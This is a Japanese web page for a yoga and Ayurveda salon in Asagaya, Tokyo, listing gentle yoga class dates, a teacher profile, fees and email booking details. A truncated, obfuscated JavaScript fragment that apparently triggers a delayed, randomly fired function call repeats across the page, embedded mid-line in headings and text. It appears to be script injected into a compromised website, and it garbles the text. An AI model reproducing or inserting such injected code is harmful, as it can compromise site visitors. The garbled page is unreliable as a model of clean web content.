ゆるヨーガクラス開催日程(10月22日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です。
【インドのお洋服、夏のセール中!】
普段、頑張りすぎてる体をゆっくり休ませませんか?
たくさん寝ることが体を休めているとは限りません。
寝ている間も緊張が取れていないため、
朝起きても体が痛いと言うことは良くあること。
本当に体をリラックスさせて神経を落ち着かせるには
体を意識することが大切です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

体を意識して、ゆるめることをテーマにしているマナスの「ゆるヨーガ」、
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
皆さま、ぜひご参加ください!
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10月25日(日)11時~あと1名様
11月1日(日)11時~
11月16日(月)11時~
11月29日(日)11時~
12月6日(日)11時~
12月12日(土)11時~
12月20日(日)11時~
12月26日(土)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【講師紹介】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
≪タル先生≫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
日本ヨーガ瞑想協会ヨーガ指導者トレーニング(綿本彰) 修了
日本ヨーガ瞑想協会登録ヨーガ指導者
トラウマ・アプローチ・ヨガ指導者
プロフィール
小さい頃からクラシックバレエに打ち込んでいました。
骨格的にクラシックバレエに向いていなかったため
20歳にしてダンサーを断念。
ある日、ヒトの細胞の電子顕微鏡写真を見て、
その美しさに衝撃を受け、体に興味を持つように。
瞑想はシナプスの電気信号の伝わり方を
感じることができるということを知り、
瞑想からヨーガの世界に入りました。
今はシヴァナンダヨーガを中心に
日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回90分 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、初回はいつでも 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
こちらをクリックするとメールが立ち上がります!
①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
を明記してお送りくださいませ。
お申込みお待ちしております。
※当サロンのヨーガクラスは宗教とは一切関係ありません
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

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